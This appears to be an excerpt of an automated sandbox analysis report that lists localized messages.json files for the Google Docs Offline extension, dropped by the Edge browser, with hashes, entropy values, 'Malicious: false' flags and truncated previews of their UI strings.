Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

